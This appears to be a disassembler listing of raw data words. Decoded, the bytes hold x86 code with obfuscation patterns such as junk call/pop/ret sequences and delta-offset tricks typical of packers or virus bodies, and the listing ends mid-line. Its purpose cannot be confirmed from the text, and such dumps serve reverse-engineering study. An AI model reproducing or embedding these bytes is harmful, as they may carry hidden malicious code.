1BA4E0ECh, 858D8944h, 6222CB5h, 6CD68166h, 11E8905Eh dd 0BF000000h, 0E42026B4h, 5E22AB32h, 3E40FC8h, 706143EFh dd 505EF08Bh, 0F093EFBFh, 6A9069h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 53B384C3h, 0FC76B90Fh dd 6AF9F8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0C1C35141h, 0D55D297Dh, 6122946Fh, 0B58B6061h dd 62214CDh, 873FBF66h, 6A006A61h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 8D5BC350h dd 25EAAA85h, 0A9B50906h, 83062226h, 509005C0h, 11E852h dd 5AB10000h, 0D2658BE6h, 0AD14EA64h, 58619B11h, 0E8E9F40Fh dd 12h, 986EE83Bh, 33F5E5EDh, 0A83C07BCh, 1480B9E1h, 5F5E65C3h dd 0BE66310Fh, 585A4881h, 90F28B50h, 1BEDBD8Bh, 0E6810622h dd 7C0AF532h, 880F006Ah, 0 dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 5BAE04C3h, 828B35FFh, 0FF44AD19h, 22355595h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 4EE36C1Eh, 39C81815h, 9D8D66D8h, 625A90Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0A9C35747h dd 0F980B471h, 57ACEF81h, 0B5894425h, 6222FFDh, 84BED3FFh dd 0FF4FAADDh, 2208B185h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 35906A21h dd 0BF2941C6h, 4896993h, 0F71B58Bh, 0F4E90622h, 0E800000Dh dd 0 dd 0B4ED815Dh, 6A0625EAh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0F00AC351h, 92C12E0Bh dd 568E9AA1h, 99BD815Eh, 0D006220Fh, 0F000007h, 12186h dd 0DE816600h, 9D8B683Fh, 6220055h, 100E381h, 0DF810000h dd 4AD81B8h, 850FDB0Bh, 9Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0E1C35343h, 291B37ACh, 0F38B6673h dd 0E89CBD83h, 0F000625h, 2D84h, 0E6816600h, 8EE94051h dd 0E8000000h, 9, 9E1BF6D0h, 0FA6DAEFEh, 0FE9ADh, 0B5410000h dd 502E388Fh, 0BCA851E1h, 16CE45AAh, 85C75E10h, 625E89Ch dd 1, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h dd 0D0C35242h, 0F1C7007h, 68Ch, 0A4CF8100h, 0E967CE01h dd 31h, 459D89F5h, 0C7062226h, 25E89C85h, 6, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 85FEB712h, 559D8DA3h, 6A062200h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 8968C355h dd 0E0E82D3Fh, 0BF667580h, 23819193h, 0FFFFFEFFh, 2671BD89h dd 8C660622h, 39BD8BDBh, 0BF062226h, 7D495C72h, 0F04C3F6h dd 7384h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0FF946A4Dh, 7C204E74h, 0C995FF9Ah dd 6A062220h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0CACCC350h, 5FB2BA78h, 8AC2A5C0h dd 50F7BF0Fh, 6A240489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0E3DBC352h, 32DE9h dd 21BD8B00h, 0B0062203h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 373A1D47h dd 0F82074C9h, 0FE9h, 5A0F9E00h, 6565B454h, 2F33AECCh dd 0EC99B16Dh, 958970E6h, 622007Dh, 0B70F71E4h, 0D8B60FFEh dd 0BAF8B70Fh, 6, 8C0Fh, 0C38B0000h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 4EC35646h, 8BE567E1h, 4E8C1F2h dd 2099D89h, 0F7660622h, 5DB52BE2h, 2B06220Eh, 3D9529D8h dd 93062210h, 50F08B66h, 99B5FF93h, 106220Fh, 2232118Dh dd 7595FF06h, 81062230h, 0DBA114F6h, 0E800B066h, 5, 8070DB12h dd 70E65E65h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0ABC35747h, 60598889h, 0FDFBF0Fh, 681h, 0F58D0900h dd 61062210h, 958971E4h, 6223379h, 830F613Ch, 226h, 12E9h dd 48D83B00h, 3F93FC26h, 0F9BB9D77h, 0B4EC5763h, 318F43DDh dd 222609BDh, 0D8B60F06h, 21B18529h, 6BA0622h, 8B000000h dd 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 9153BDD8h, 4E8C1B3h, 0FE2F766h, 38Dh, 0F9BF0F00h dd 0BF0FD82Bh, 6A58FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0F8BCAC3h, 882h, 0B58B5200h, 6221C05h dd 2BBE665Eh, 0FD82BCAh, 18D88h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 70894317h dd 6666644Eh, 8FCDF681h, 1D899D89h, 7B90622h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 830BC356h, 6A00C1h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 2B540FC3h, 0D350D0AEh dd 9D890DABh, 62213F9h, 860FD93Bh, 10Ah, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ch, 0A9C35141h, 0C4E6ED2Bh dd 8A800FA4h, 66F38B66h, 0BD8BD98Ch, 6220791h, 0F04C1F6h dd 0AE84h, 79BD8900h, 0FF062230h, 2220C995h, 0D9858906h dd 66062208h, 0B211EE81h, 56006A5Bh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 28DE245Eh dd 2B08D7F1h, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0BD284ABAh, 168A0FE3h, 0E9000000h dd 11h, 0DAA5C844h, 3CFA52A1h, 8C1E172Dh, 1F41A496h, 0F68166A1h dd 9D899D99h, 6221BEDh, 8343Dh, 20860F00h, 0F000000h, 68Eh dd 919D8900h, 0F062210h, 2FE9F3BFh, 60000000h, 580DD881h dd 0B96639EFh, 8B61B4D3h, 56006AC0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0DFF2348h dd 0C38B859Ch, 0AE8D88Bh, 0D7000000h, 9C28637Ch, 0BE151CD6h dd 7E9FCh, 995C0000h, 0EDF2B8E1h, 85C75F07h, 6220635h dd 7A2987D1h, 1A718D89h, 0C08B0622h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 4CC35545h, 7B1FBB8Bh, 820FB26Ah dd 6, 1A95B58Bh, 0B5310622h, 62231D9h, 0F99BD81h, 7D00622h dd 850F0000h, 41h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 85C35747h, 0F9985FFh, 6A0622h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 353DE4C3h, 99B5FF41h, 6A06220Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0C072C352h dd 8C0F603Eh, 3, 61C38B66h, 307595FFh, 6A0622h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 4D0856C3h, 29D88298h, 0E9EECB62h, 0Dh, 7C38AD85h, 0B22849F2h dd 0DEAB2ED5h, 68A0F25h, 8B000000h, 22184DBDh, 6A409006h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0A136C355h, 8DBD8316h, 62207h, 0FD840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 54DF48C3h, 11E256BBh, 88BF6682h, 0B1BD8394h dd 62232h, 0C9840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 2882CC3h, 4192A19Ah dd 606EA97Dh, 0E9D6B70Fh, 14h, 15EFA5B7h, 7254988Fh, 0C75DD342h dd 49984A8Ah, 7586916h, 0BE961h, 20BA0000h, 0A4525328h dd 8DB0ADCDh, 8D95FFE8h, 6A062207h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0D88DC356h dd 8D8B605Ah, 622130Dh, 0FC00B61h, 4284h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0EFBF6615h, 91B529D9h, 8D062201h, 2250B18Dh, 89BD8906h dd 0B8062204h, 5, 4C58529h, 0E1FF0622h, 83F38B66h, 220165BDh dd 840F0006h, 641h, 31E1B58Bh, 0BD830622h, 62232B1h, 2E840F00h dd 1000006h, 222D79B5h, 0C98D8D06h, 0F062207h, 68Fh, 29B58B00h dd 0C7062206h, 0B27C8401h, 57006A44h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0F8C4BA72h dd 89B2C0D6h, 22181D9Dh, 0B5858906h, 8106221Dh, 99CFCB01h dd 0DD858914h, 0C7062217h, 6B340441h, 6ACE70h, 3E852h dd 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 8D6CD0C3h, 10044181h dd 6A31D6D7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0A163C357h, 85012879h, 62202FDh dd 8DF5006Ah, 2207C985h, 7588BE06h, 89507340h, 4DBF2404h dd 0FF785523h, 22016595h, 0E6816606h, 8D8DB218h, 62207C9h dd 68F0Fh, 0B58B0000h, 6220F85h, 1C7h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0C27DF0C3h, 0FC6D9072h, 0AE9h, 0A3A39600h, 86DC5F5Eh dd 0C7F333B2h, 441h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 0BEB2B4C3h, 7A9A2D86h dd 840FC00Bh, 92h, 0BE9h, 6492800h, 68F9DE97h, 47F5913Dh dd 46D9D09h, 8D8D0622h, 62250B1h, 0B98589h, 5B80622h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 71BEC352h, 14E923h, 38FB0000h, 736E458Ah dd 3B5FD3C4h, 9BDEE982h, 4616BC14h, 0E1FFAF3Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 98C35343h, 35E67CACh dd 199CA1BCh, 3EBB60F7h, 89749A24h, 2202D99Dh, 8D8D6106h dd 62207C9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 47C35747h, 1B58B7Ch, 0C706220Ah, 0AA727C01h, 0CB018144h dd 561499CFh, 11E8h, 74C7E700h, 0DEE3FC96h, 0BDBC512Dh dd 12C484AFh, 11E9FEB7h, 5D000000h, 752E773Ah, 7A31ADDh dd 0FDA90AEDh, 97D4D153h, 41C75E5Fh, 78753C04h, 57006ACEh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 8593A209h, 5E51ECE6h, 0CE9h, 0A6EA0E00h, 4DE913FCh dd 6DF03C6Fh, 441815Ch, 31D6D710h, 6AF38Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0AFC35141h, 0CE31DBD9h dd 55DCE44Ah, 103D9589h, 81660622h, 8DE3D1E6h, 2207C985h dd 0BF0F6006h, 0F9958BFFh, 61062203h, 0F525050h, 830F6031h dd 0 dd 5A615B50h, 24048958h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 40C35545h, 0FFFE8B2Dh, 22016595h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 44C8D4Ch, 0DE95751h, 0BC000000h, 21A2977Ah, 8CD15B78h dd 3DB767D3h, 0C98D8D5Fh, 6A062207h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 136CC355h dd 99E72E99h, 0F79EC8Ah, 8166FEB7h, 0C7E464C6h, 1, 9D095300h dd 622180Dh, 441C75Fh, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 29C35040h dd 0F791CFF5h, 0BF18B9Ch, 5F840FC0h, 8D000000h, 2250B18Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 3A28817Ch, 5B87D14h, 33000000h, 220621BDh dd 0E1FFF806h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 67C35343h, 7E1644C2h, 0EF981000h, 1375BD8Bh, 8D8D0622h dd 62207C9h, 0A501C7F8h, 0F54CA95h, 8Eh, 90BF6600h, 0CB018142h dd 0C71499CFh, 59690441h, 6ACE5Fh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 9CB89BC3h, 9E86B46h dd 0B8000000h, 7CCEC4Fh, 0FDFA98Ch, 860Fh, 815E0000h, 2A8B7EDFh dd 441813Bh, 31D6D710h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 6FC35343h, 10F976DCh, 663DFD3Bh, 0D931C781h dd 6AF98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 82C35343h, 8DA0F0D9h, 2207C985h, 0EE906h, 0D3FF0000h dd 3C68768h, 0F2171111h, 0B58C5342h, 14E8h, 210CF100h dd 0F8B6042h, 1079F981h, 0B5CE22BBh, 69AD5CE6h, 50505E45h dd 907204BFh, 4895F22h, 51006A24h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 4C18C913h, 7F0BE21h, 0CE90C54h dd 0BF000000h, 91CD4019h, 28B5B065h, 0FF1AC02Eh, 22016595h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0F98B667Fh, 7C98D8Dh, 0C7F90622h, 1, 0CE816000h dd 3F8D22E8h, 68B0Fh, 9D290000h, 62208FDh, 441C761h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 6DC35343h dd 4AA5783Bh, 0A954989h, 10E961h, 0AF670000h, 30F16BEEh dd 0CF0D58BFh, 92F42299h, 0C00BFF36h, 7B840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0FA7B6C3h, 38Dh, 0F78B6600h, 50B18D8Dh, 6A0622h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 36DBC8C3h, 875606D6h, 5B85A94h, 66000000h, 0E1FFF78Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0BCC35343h dd 9D54A913h, 0E9CA034Ah, 0FFFFF233h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 3CC35343h, 0D8BE660Eh, 0A1B58B5Dh dd 8B06221Dh, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 4EBA769h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 93C35040h dd 0D35AECBDh, 0B58BCB15h, 6220F5Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 21C35747h, 8DF1B70Fh, 222CB585h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0D135CD9Ch, 7B0625C6h, 9D895963h, 6220EB9h dd 4800Fh, 0BE660000h, 0BE90A932h, 2731E7BCh, 9E950h, 0EDB90000h dd 397D517Ch, 901E85BBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0EC35747h, 0E559589h, 6A0622h, 0B8D009BEh dd 8D006A45h, 25FAF785h, 5C08306h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0C6C35343h, 732E6D9Ah, 0BA590E04h dd 1ED9B52Bh, 0F570622h, 685h, 0E9B58B00h, 5E062234h, 60605290h dd 61FE8B61h, 6060505Eh, 310F5250h, 0FE8A585Ah, 0B8666061h dd 0AE82FB6h, 0A1000000h, 3532564Bh, 0D0FB17E0h, 61615FC7h dd 6AFCF890h, 0C8C0F00h, 0F000000h, 682h, 91858900h, 6A062224h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 158E0FD5h, 0E9000000h, 10h, 28F235F4h, 0ABBBB775h dd 69B57315h, 0F3B6417Dh, 355595FFh, 6A0622h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0B72DDCC3h dd 785AEBE3h, 1EE5B503h, 8F0F0622h, 6, 1B51BD89h, 9D8D0622h dd 625A90Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0E3C35141h, 0FCF4C767h, 0CE9h, 3457DB00h, 4F6066CFh dd 7CEDB924h, 6AD3FF51h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 8B38C352h, 8E960F8h dd 8000000h, 39BAF9F0h, 894DE27Ah, 2215B985h, 85FF6106h dd 62208B1h, 0E9FA8B66h, 7D2h, 0E8h, 0ED815D00h, 625FB01h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 40C35747h dd 0F99BD81h, 7D00622h, 860F0000h, 173h, 552CE781h, 9D8B1F70h dd 622159Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 34C35141h, 22C41443h, 607929F1h, 2D5D8D89h, 0DA8B0622h dd 0E38161h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 0E32BC356h, 850FDB0Bh dd 0B0h, 82C4D0BFh, 0DCD68118h, 83475860h, 25F8C4BDh, 840F0006h dd 64h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch dd 41C35242h, 8D0EF047h, 3DBE64E6h, 0CE9h, 0C1D3C600h dd 0D55D297Dh, 6122946Fh, 0A6E961h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 14ADA9C3h dd 295D9D89h, 0B58B0622h, 62224A5h, 0F8C485C7h, 10625h dd 0F7810000h, 18D42CFFh, 67E9h, 0CE800h, 0AC5A0000h, 0E251FB46h dd 4883F072h, 8E9C9EBh, 0D5000000h, 1008A3F5h, 5E339350h dd 0F8C485C7h, 625h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0BE964C3h, 0C6000000h dd 0E3FD793Ch, 0F8E84A9h, 0DE9B9CAh, 37000000h, 4E1DF3A7h dd 0D51AF76Fh, 48C53246h, 159D9D8Dh, 0B8BF0622h, 81335842h dd 0FFFEFF23h, 95B58BFFh, 66062221h, 6ADB8Ch, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 6617C5C3h dd 0C3F6F28Bh, 76840F04h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0F626C356h dd 0E8BE66E1h, 0FFF88B95h, 2220C995h, 13E906h, 84340000h dd 616B3E2Bh, 2FDF8948h, 65F6C299h, 86CCDD5Fh, 0CE95022h dd 0FC000000h, 0FFDB6FE2h, 69DADDB5h, 89CFB8B4h, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 2AC16C3h, 363E9FCh, 85890000h, 622314Dh, 8D0F00B0h dd 5, 54062CBFh, 6A70E617h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 1CC5C357h, 9E25CE92h dd 0E4D7D840h, 8D8B6071h, 6220E55h, 1B71B589h, 66610622h dd 9349D781h, 0F8D8B60Fh, 6BAh, 0FC38B00h, 8E9F6BFh, 23000000h dd 0E1D15618h, 0C144AC80h, 6A04E8h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0F6BFAEC3h dd 0BF66D678h, 0F76676AAh, 52006AE2h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0C0930F4Dh dd 0BE2F6E49h, 0FE96F56h, 0B9000000h, 41753A6Bh, 0EDB1197Eh dd 0EA675004h, 0FB8B5AB5h, 6AD82Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 50925AC3h dd 10E8h, 49927900h, 6FEC608h, 7C3611CEh, 3F71ED0h, 1C895E50h dd 0C7816624h, 0B5FFF805h, 6220F99h, 3098BF66h, 307595FFh dd 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 56055AC3h, 12E9h, 65386C00h, 23B90261h, 9D0A59FEh dd 0E23AA650h, 335928Dh, 221C39BDh, 6600B006h, 70E6FE8Bh dd 6890Fh, 0BD8B0000h, 6221659h, 6A71E4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0BA2801C3h dd 0E48ECB42h, 6842EABFh, 0F613C1Ch, 1C883h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8B641AC4h, 2221CDB5h, 3DBD8B06h, 0F062225h, 0BD89D8B6h dd 62200E5h, 6BAh, 0B58B6000h, 6221DE9h, 68A0Fh, 85890000h dd 6222D25h, 2BC38B61h, 2220B1B5h, 4E8C106h, 0F766F38Bh dd 0F6B70FE2h, 9589D82Bh, 6221AB9h, 52006A58h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0F28B0252h dd 880FD82Bh, 139h, 0C9BD2Bh, 0B58B0622h, 6221ECDh, 7B9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 89C55E69h, 222D699Dh, 0C18306h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0A0C35141h, 78F6BFAEh dd 0A8E040D6h, 860FD93Bh, 0D5h, 0DE9h, 9B2ABB00h, 1A7A01C0h dd 0F508EE3Ah, 8C664358h, 816650D9h, 5EF7BAE6h, 0F04C1F6h dd 0A584h, 4D952900h, 0FF062225h, 2220C995h, 5BF78B06h dd 0C880Fh, 8A0F0000h, 6, 631BD89h, 0C32B0622h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 2EC35040h, 8B4EA313h dd 223025B5h, 8DBD2306h, 3D062219h, 834h, 4C860Fh, 800F0000h dd 6, 20A59509h, 46E90622h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7816C351h dd 0E66C73F6h, 0E8DE6625h, 0Bh, 0EB2FC195h, 5246F5B6h dd 8B2C1D19h, 220685B5h, 0C08B5E06h, 38D0Fh, 0B70F0000h dd 8BC38BFBh, 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 91388892h, 0BE41D8AAh, 16354386h dd 5585C7h, 1BD70622h, 6A7F64h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 6AC584C3h, 6AC08BF8h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 4598C357h, 81331C74h, 220F99BDh, 7D006h dd 0C850F00h, 0FF000000h, 220F9985h, 0A5B58B06h, 0FF062200h dd 220F99B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 3595019Dh, 0FF062230h, 22307595h dd 0A5BD3306h, 81062214h, 0E43F61EFh, 9D89907Fh, 6221091h dd 1B41BD0Bh, 6A0622h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0CA1999C3h, 1DE2AA83h, 356DBD89h dd 11E90622h, 0ED000000h, 0DDDB0591h, 0CCC44E90h, 0E8F6AF7Fh dd 18FE8083h, 1BC18D01h, 0BE660622h, 14E92C7Dh, 0C6000000h dd 945D4E1Bh, 17E46398h, 0B344754Fh, 0F53D2493h, 0F93487Bh dd 128Ah, 0F6BF0F00h, 8E960h, 61300000h, 68366567h, 0F6199F0h dd 0C89h, 68C0F00h, 8B000000h, 222C79B5h, 6840F06h, 89000000h dd 2213E98Dh, 0AD858906h, 6A062215h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 5452C350h dd 0E728448Ch, 0B560C2A3h, 0AE9DBh, 61C60000h, 0DC97241Dh dd 7ED5C25Eh, 61C78B66h, 839BD29h, 95290622h, 6221161h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A6C35646h dd 22D3797Ah, 7D1A4F36h, 9D958956h, 5E062212h, 1C75B58Bh dd 0B52B0622h, 6222225h, 0FFF853E9h, 50006AFFh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 1418016Eh dd 2DE1D41Bh, 0C18B1D2Ah, 0EBF1B70Fh, 4, 85BF6600h, 0C18D89E9h dd 6A062228h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0A4BAC353h, 6850FB5h, 89000000h dd 22211585h, 10E906h, 6F5D0000h, 544538CCh, 2A770629h dd 1A1012BFh, 858D11D8h, 6222CB5h, 2911BD09h, 50500622h dd 8B666052h, 0D76CB8CFh, 0F6142F9h, 12E931h, 27A00000h dd 1C45B055h, 79599F12h, 91FAF9B0h, 0D224874h, 489585Ah dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 9061E3B5h, 7C2514A2h, 33ED9589h, 6A0622h dd 24858589h, 6A0622h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 72C35242h, 8D7E75A9h, 2604A285h, 850F06h dd 83000000h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 9054FC3h, 31E0F500h, 2229C5B5h dd 66609006h, 0CBAC68Bh, 61348652h, 8E950h, 55590000h dd 60565972h, 6A906E5Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 681CC356h, 0DFB1FB66h dd 8C0FD787h, 3, 6AF1BF0Fh, 6AFC00h, 0F5950160h, 8B062228h dd 22012185h, 95FF6106h, 6223555h, 4990D781h, 9D8D39CFh dd 625A90Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 42C35040h, 24090161h, 0B50975C3h, 62200C9h, 6AD3FFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 761E01C3h, 85FF21FBh, 62208B1h, 13A5B58Bh, 0D0E90622h dd 0E8000007h, 0 dd 0ACED815Dh, 23062604h, 220EFDBDh, 99BD8106h, 0D006220Fh dd 0F000007h, 13C86h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 81EABB98h, 6E058CF6h dd 619D8B06h, 81062205h, 100E3h, 9BD8B00h, 0B06220Ah, 0B0850FDBh dd 29000000h, 2213B5BDh, 0D5BD8306h, 62602h, 35840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0BB1A85C3h, 601FCE6Ch, 1870Fh, 0BBFC0000h, 0D1DFA7h dd 96E961h, 0C7FC0000h, 2602D585h, 106h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0C79B7F98h, 858B60E8h, 6223021h, 6870Fh, 850F0000h dd 0 dd offset dword_52E810+151h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 26366BC3h, 8E3E682h, 0C7396AD0h, 2602D585h dd 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 4E8F9BC7h, 0F5105B09h, 5619D8Dh dd 8F0F0622h, 6, 295DB58Bh, 23810622h, 0FFFFFEFFh, 89F7B70Fh dd 2212F5BDh, 0DB8C6606h, 0D800Fh, 81600000h, 98292AD0h dd 6D3EBE7Dh, 8B615436h, 220EF5BDh, 4C3F606h, 4E840Fh dd 81660000h, 0FF8D7EF7h, 2220C995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 5CBAF4Ah, 0AACC84BFh dd 880F5051h, 3, 89F78B66h, 0F602404h, 283h, 8BFE8B00h dd 2211719Dh, 0F18B6106h, 3E9E9h, 18F0F00h, 0F5000000h dd 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 69ED94C3h, 80C09485h, 0BD8B7A15h, 6222FD5h dd 94BE70E6h, 0E445C9B1h, 0DF816671h, 0B60F703Fh, 55006AD8h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0B308EC0Bh, 6BAF917h, 6A000000h, 3E85700h, 